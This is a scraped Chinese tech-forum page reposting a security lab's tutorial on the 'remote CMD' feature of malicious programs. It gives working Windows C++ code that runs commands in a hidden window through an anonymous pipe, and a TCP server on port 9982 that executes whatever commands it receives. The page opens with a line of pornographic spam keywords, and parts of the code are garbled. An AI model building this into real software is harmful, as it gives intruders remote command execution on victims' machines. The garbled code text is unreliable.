chinese直男口爆体育生外卖, 99久久er热在这里只有精品99, 又色又爽又黄18禁美女裸身无遮挡, gogogo高清免费观看日本电视,私密按摩师高清版在线,人妻视频毛茸茸,91论坛 兴趣闲谈,欧美 亚洲 精品 8区,国产精品久久久久精品免费

0
  • 聊天消息
  • 系統(tǒng)消息
  • 評(píng)論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會(huì)員中心
創(chuàng)作中心

完善資料讓更多小伙伴認(rèn)識(shí)你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

使用匿名管道技術(shù)獲取CMD命令的執(zhí)行結(jié)果

蛇矛實(shí)驗(yàn)室 ? 來(lái)源:蛇矛實(shí)驗(yàn)室 ? 2023-04-03 18:04 ? 次閱讀
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

序言

遠(yuǎn)程 CMD 是指惡意程序接收到控制端發(fā)送的 CMD 指令后,在本地執(zhí)行 CMD 命令,并將執(zhí)行結(jié)果回傳至控制端。本文將演示使用匿名管道技術(shù)獲取 CMD 命令的執(zhí)行結(jié)果。

相關(guān)API

CreatePipe:用于創(chuàng)建管道

PeekNamedPipe:用于判斷管道中是否有數(shù)據(jù)存在

ReadFile、WriteFile:用于向管道讀取或?qū)懭霐?shù)據(jù)

CreateProcess:用于創(chuàng)建CMD子進(jìn)程,可指定啟動(dòng)信息(STARTUPINFO)

實(shí)現(xiàn)原理

管道是一種進(jìn)程間通信的技術(shù),Window 上進(jìn)程間通信技術(shù)還有文件映射、共享內(nèi)存、郵槽、剪切板、事件等。

管道分為命名管道和匿名管道:

* 匿名管道只能在父子進(jìn)程間通信,數(shù)據(jù)傳輸單向,不能網(wǎng)絡(luò)通信;

* 命名管道可在任意進(jìn)程間通信,數(shù)據(jù)傳輸雙向,但同一時(shí)間只能有一端讀寫。

由于遠(yuǎn)程 CMD 中僅僅需要執(zhí)行 CMD 指令的結(jié)果,所以使用匿名管道即可,其使用流程如下:

1. 使用 CreatePipe 創(chuàng)建匿名管道,獲取管道數(shù)據(jù)讀取句柄和管道數(shù)據(jù)寫入句柄。

2. 初始化進(jìn)程結(jié)構(gòu)體,將管道寫入句柄賦給新進(jìn)程控制臺(tái)窗口的緩存句柄;

3. 使用CreateProcess創(chuàng)建新進(jìn)程執(zhí)行CMD命令,并等待命令執(zhí)行結(jié)束;

4. 在循環(huán)中使用 PeekNamedPipe 函數(shù)判斷管道中是否有數(shù)據(jù),通過(guò)管道讀取句柄從緩沖區(qū)中獲取執(zhí)行結(jié)果。

5. 關(guān)閉句柄,釋放資源。

編碼實(shí)現(xiàn)

關(guān)鍵代碼

// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
bool PipeCmd(TCHAR* cmd_str, std::string& outbuf)
{
BOOL bRet = FALSE;

HANDLE hReadPipe = NULL;
HANDLE hWritePipe = NULL;
SECURITY_ATTRIBUTES securityAttributes = {0};
STARTUPINFO si = {0};
PROCESS_INFORMATION pi = {0};

// 設(shè)定管道的安全屬性
securityAttributes.bInheritHandle = TRUE;
securityAttributes.nLength = sizeof(securityAttributes);
securityAttributes.lpSecurityDescriptor = NULL;
// 創(chuàng)建匿名管道
bRet = ::CreatePipe(&hReadPipe, &hWritePipe, &securityAttributes, 0);
if(FALSE== bRet)
{
printf("CreatePipe");
returnfalse;
}
// 設(shè)置新進(jìn)程參數(shù)
si.cb = sizeof(si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.wShowWindow = SW_HIDE;
si.hStdError = hWritePipe;
si.hStdOutput = hWritePipe;
// 創(chuàng)建新進(jìn)程執(zhí)行命令, 將執(zhí)行結(jié)果寫入匿名管道中
bRet = ::CreateProcess(NULL, cmd_str, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
if(FALSE== bRet)
{
printf("CreateProcess");
returnfalse;
}

// 等待命令執(zhí)行結(jié)束
::WaitForSingleObject(pi.hThread, INFINITE);
::WaitForSingleObject(pi.hProcess, INFINITE);

// 不斷從匿名管道中讀取結(jié)果到輸出緩沖區(qū)
while(true)
{
char buf[2048]{};
DWORD readbytes = 0;
DWORD availbytes = 0;

if(!PeekNamedPipe(hReadPipe, NULL, 0, NULL, &availbytes, NULL)) break;
if(!availbytes) break;
if(!ReadFile(hReadPipe, buf, min(sizeof(buf) - 1, availbytes), &readbytes, NULL) || !readbytes) break;

buf[readbytes] = 0;
outbuf += buf;
}

// 關(guān)閉句柄, 釋放內(nèi)存
::CloseHandle(pi.hThread);
::CloseHandle(pi.hProcess);
::CloseHandle(hWritePipe);
::CloseHandle(hReadPipe);

returntrue;
}

上面的代碼中首先調(diào)用 CreatePipe 函數(shù)創(chuàng)建匿名管道,并將返回的讀寫句柄保存到 hReadPipe 和 hWritePipe 變量中。

然后,通過(guò)設(shè)置STARTUPINFO結(jié)構(gòu)體中的參數(shù),將新進(jìn)程的標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出都重定向到管道中,以便將命令執(zhí)行結(jié)果寫入管道中。

接著,調(diào)用CreateProcess函數(shù)創(chuàng)建新進(jìn)程,并將命令行命令作為參數(shù)傳入。

CreateProcess 函數(shù)執(zhí)行成功后,新進(jìn)程開(kāi)始執(zhí)行命令,并將命令執(zhí)行結(jié)果寫入管道中,之后通過(guò)循環(huán)調(diào)用 PeekNamedPipe 和 ReadFile 函數(shù),不斷從管道中讀取數(shù)據(jù),并將讀取到的數(shù)據(jù)存儲(chǔ)到輸出緩沖區(qū)中。

最后,代碼關(guān)閉句柄,釋放內(nèi)存。

測(cè)試實(shí)現(xiàn)

測(cè)試代碼

intmain(intargc, char** argv)
{
TCHAR cmd_str[] = L"ping 127.0.0.1";

// 執(zhí)行 cmd 命令, 并獲取執(zhí)行結(jié)果數(shù)據(jù)
std::stringoutbuf;
if(false== PipeCmd(cmd_str, outbuf))
{
printf("pipe cmd error.
");
}
else
{
printf("CMD執(zhí)行結(jié)果為:
%s
", outbuf.c_str());
}

system("pause");
return0;
}

b4ead242-d004-11ed-bfe3-dac502259ad0.png

遠(yuǎn)程傳輸

前面僅僅是把 cmd 命令的執(zhí)行結(jié)果獲取了,要想實(shí)現(xiàn)遠(yuǎn)程傳輸,需要加入網(wǎng)絡(luò)傳輸部分。

b4fd46e8-d004-11ed-bfe3-dac502259ad0.png

測(cè)試

服務(wù)端

#definePORT 9982
inttest_server()
{
SOCKET listenfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

sockaddr_in bindaddr;
bindaddr.sin_family = AF_INET;
bindaddr.sin_addr.S_un.S_addr = ADDR_ANY;
bindaddr.sin_port = htons(PORT);
bind(listenfd, (SOCKADDR*)&bindaddr, sizeof(SOCKADDR));

listen(listenfd, 1);

sockaddr_in clientaddr;
intclientaddrlen = sizeof(SOCKADDR);
SOCKET clientfd = accept(listenfd, (SOCKADDR*)&clientaddr, &clientaddrlen);

charbuf[1024]{};
intrecvbytes = recv(clientfd, buf, 1024, 0);
if(recvbytes <= 0) return?-1;

???std::string?outbuf;
???PipeCmd((LPTSTR)buf, outbuf);
???std::cout?<< outbuf << std::endl;

???closesocket(clientfd);
???closesocket(listenfd);

???return?0;
}

客戶端

inttest_client()
{
SOCKET connfd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);

structsockaddr_inServerAddr;
ServerAddr.sin_family = AF_INET;
ServerAddr.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");
ServerAddr.sin_port = htons(PORT);

connect(connfd, (SOCKADDR*)&ServerAddr, sizeof(ServerAddr));

TCHAR cmdbuf[100] = _T("ipconfig");
send(connfd, (char*)cmdbuf, (lstrlen(cmdbuf) + 1) * sizeof(TCHAR), 0);

closesocket(connfd);

return0;

效果

開(kāi)啟服務(wù)器后,通過(guò)客戶端向服務(wù)端發(fā)送指令,服務(wù)端接收到指令后開(kāi)始處理,最終測(cè)試能夠正確處理。

小結(jié)

上述的遠(yuǎn)程 CMD 的實(shí)現(xiàn)通過(guò)一個(gè)匿名管道實(shí)現(xiàn)的,它是通過(guò)直接執(zhí)行 cmd 命令,從而不需要?jiǎng)?chuàng)建傳遞命令的管道。遠(yuǎn)程 CMD 的實(shí)現(xiàn)方法還有幾種變形方式,比如雙管道遠(yuǎn)程 CMD,和零管道遠(yuǎn)程 CMD,它們對(duì)應(yīng)的思路就是對(duì) CMD 的輸出輸入重定向位置進(jìn)行控制,比如:

雙管道實(shí)現(xiàn)遠(yuǎn)程 CMD 就是將 CMD 進(jìn)程的輸入、輸出句柄替換為讀寫管道的句柄。

零管道實(shí)現(xiàn)遠(yuǎn)程 CMD 就是將 CMD 進(jìn)程的輸入、輸出句柄替換為 socket 的句柄。






審核編輯:劉清

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點(diǎn)僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場(chǎng)。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問(wèn)題,請(qǐng)聯(lián)系本站處理。 舉報(bào)投訴
  • WINDOWS
    +關(guān)注

    關(guān)注

    4

    文章

    3622

    瀏覽量

    92627
  • CMD命令
    +關(guān)注

    關(guān)注

    0

    文章

    28

    瀏覽量

    8652

原文標(biāo)題:安全研發(fā)之遠(yuǎn)程CMD

文章出處:【微信號(hào):蛇矛實(shí)驗(yàn)室,微信公眾號(hào):蛇矛實(shí)驗(yàn)室】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。

收藏 人收藏
加入交流群
微信小助手二維碼

掃碼添加小助手

加入工程師交流群

    評(píng)論

    相關(guān)推薦
    熱點(diǎn)推薦

    [RT-Thread Nano 4.1.1] Finsh 控制 命令執(zhí)行 創(chuàng)建定時(shí)器 第三次無(wú)法執(zhí)行怎么解決?

    軟件平臺(tái):RT-Thread Nano 4.1.1 組件:Finsh 控制臺(tái) 硬件平臺(tái):Numaker-M252SD 任務(wù): MSH_CMD_EXPORT user_timer_test 控制命令
    發(fā)表于 10-13 07:09

    使用AT組件命令行可以發(fā)送成功,但是在程序里發(fā)送總是超時(shí),怎么解決?

    是AT說(shuō)明里的例程,按照例程把發(fā)送命令加入到控制臺(tái),輸入命令是可以正確響應(yīng)的。 但是我在程序里寫是類似的代碼,就提示超時(shí)。 在提示超時(shí)后,又會(huì)顯示正確的響應(yīng)結(jié)果,這是為了個(gè)啥?! 下面是我的程序 int
    發(fā)表于 09-23 07:14

    遠(yuǎn)程命令執(zhí)行:IT 運(yùn)維效率翻倍新方式

    。SplashtopAEM(自動(dòng)端點(diǎn)管理)解決方案內(nèi)置的遠(yuǎn)程命令提示符功能,允許IT管理員無(wú)需啟動(dòng)完整的遠(yuǎn)程會(huì)話,即可輕松在遠(yuǎn)程設(shè)備上執(zhí)行命令行指令。該功能同時(shí)兼容W
    的頭像 發(fā)表于 09-04 17:15 ?706次閱讀
    遠(yuǎn)程<b class='flag-5'>命令</b><b class='flag-5'>執(zhí)行</b>:IT 運(yùn)維效率翻倍新方式

    【HZ-T536開(kāi)發(fā)板免費(fèi)體驗(yàn)】5- 無(wú)需死記 Linux 命令!用 CangjieMagic 在 HZ-T536 開(kāi)發(fā)板上搭建 MCP 服務(wù)器,自然語(yǔ)言輕松控板

    對(duì)應(yīng)的 Linux 命令或 API 調(diào)用; MCP服務(wù)器執(zhí)行指令,獲取HZ-T536開(kāi)發(fā)板上的運(yùn)行結(jié)果(如命令輸出、硬件狀態(tài)); MCP服務(wù)
    發(fā)表于 08-23 13:10

    Linux基礎(chǔ)命令which詳解

    在Linux系統(tǒng)中,which命令用于查找并顯示指定命令的可執(zhí)行文件路徑。這對(duì)于系統(tǒng)管理員和開(kāi)發(fā)人員來(lái)說(shuō)是一個(gè)非常有用的工具,可以幫助定位命令所在的位置,確認(rèn)
    的頭像 發(fā)表于 07-29 17:58 ?438次閱讀

    oracle數(shù)據(jù)恢復(fù)—oracle數(shù)據(jù)庫(kù)誤執(zhí)行錯(cuò)誤truncate命令如何恢復(fù)數(shù)據(jù)?

    oracle數(shù)據(jù)庫(kù)誤執(zhí)行truncate命令導(dǎo)致數(shù)據(jù)丟失是一種常見(jiàn)情況。通常情況下,oracle數(shù)據(jù)庫(kù)誤操作刪除數(shù)據(jù)只需要通過(guò)備份恢復(fù)數(shù)據(jù)即可。也會(huì)碰到一些特殊情況,例如數(shù)據(jù)庫(kù)備份無(wú)法使用或者還原
    的頭像 發(fā)表于 06-05 16:01 ?508次閱讀
    oracle數(shù)據(jù)恢復(fù)—oracle數(shù)據(jù)庫(kù)誤<b class='flag-5'>執(zhí)行</b>錯(cuò)誤truncate<b class='flag-5'>命令</b>如何恢復(fù)數(shù)據(jù)?

    allegro軟件走線命令下參數(shù)不顯示如何解決

    在PCB設(shè)計(jì)中,走線命令是頻繁使用的功能之一。執(zhí)行走線命令后,通常會(huì)在Options面板中顯示線寬、層、角度等設(shè)置選項(xiàng),用于調(diào)整走線參數(shù)。然而,有時(shí)執(zhí)行走線
    的頭像 發(fā)表于 06-05 09:30 ?1130次閱讀
    allegro軟件走線<b class='flag-5'>命令</b>下參數(shù)不顯示如何解決

    HarmonyOS5云服務(wù)技術(shù)分享--匿名登錄功能指南

    哦\') break; } 希望這篇指南能讓大家少走彎路!如果遇到任何問(wèn)題,歡迎來(lái)評(píng)論區(qū)找我嘮嗑~ 也記得關(guān)注我們的公眾號(hào)獲取最新技術(shù)資訊哦!? 祝各位開(kāi)發(fā)順利,咱們下期見(jiàn)! ? 【本期小互動(dòng)】你更傾向用手機(jī)驗(yàn)證碼登錄還是游客快速體驗(yàn)?評(píng)論區(qū)聊聊你的看法吧~ ?
    發(fā)表于 05-22 16:41

    HarmonyOS5云服務(wù)技術(shù)分享--認(rèn)證文檔問(wèn)題

    oh-package.json5?? 在應(yīng)用級(jí)oh-package.json5中添加依賴: 點(diǎn)擊右上角 ??Sync Now?? 同步配置。 ??方式二:命令行安裝?? 進(jìn)入entry目錄執(zhí)行命令: ??3. 初始化SDK
    發(fā)表于 05-22 13:20

    DLP4500-C350REF在發(fā)送獲取光機(jī)的RGB顏色命令,返回的是不正確的數(shù)值,為什么?

    大家好,我有幾個(gè)問(wèn)題想問(wèn)一下,謝謝大家賜教 1:為什么在發(fā)送獲取光機(jī)的RGB 顏色命令,返回的是不正確的數(shù)值,再次發(fā)送該命令才能得到正確的值(就是連續(xù)發(fā)送2次獲取RGB的
    發(fā)表于 02-21 07:05

    ADS1282在成功執(zhí)行SDATAC命令后,/DRDY輸出的信號(hào)是什么?

    在成功執(zhí)行 SDATAC命令后,/DRDY輸出的信號(hào)是什么?高電平、低電平還是脈沖信號(hào)?或者說(shuō),如何判斷SDATAC命令是否執(zhí)行成功?
    發(fā)表于 11-18 07:25

    Linux系統(tǒng)中shell命令解析

    shell是Linux系統(tǒng)的用戶界面,提供了用戶與內(nèi)核交互的一種接口,它接收用戶輸入的命令并到送到內(nèi)核去執(zhí)行,因此也被稱為L(zhǎng)inux的命令解釋器。
    的頭像 發(fā)表于 11-05 15:40 ?1193次閱讀

    CMD262_Data_Sheet-1815818

    和穩(wěn)定性。CMD262的設(shè)計(jì)旨在滿足現(xiàn)代電子產(chǎn)品對(duì)高效能和低功耗的需求,廣泛應(yīng)用于智能手機(jī)、平板電腦、可穿戴設(shè)備等領(lǐng)域。產(chǎn)品技術(shù)資料CMD262的主要技術(shù)規(guī)格包括:輸
    發(fā)表于 10-22 17:31 ?0次下載

    CMD244K5_Data_Sheet-1950601

    、音頻處理和視頻編碼等領(lǐng)域。CMD244K5的小型化封裝和低功耗特性使其非常適合嵌入式系統(tǒng)和便攜設(shè)備。產(chǎn)品技術(shù)資料主要技術(shù)參數(shù)工作頻率:高達(dá)1GHz處理能力:支持多通道信號(hào)處理內(nèi)存接口:兼容多種內(nèi)存類型功耗
    發(fā)表于 10-22 09:31 ?0次下載

    CMD242K4_Data_Sheet-1950730

    CMD242K4產(chǎn)品概述與應(yīng)用產(chǎn)品概述CMD242K4是一款高性能的功率放大器,專為寬帶無(wú)線通信和射頻應(yīng)用設(shè)計(jì)。該器件采用先進(jìn)的GaAs(砷化鎵)技術(shù),能夠在廣泛的頻率范圍內(nèi)提供卓越的增益和線性度
    發(fā)表于 10-22 09:28 ?0次下載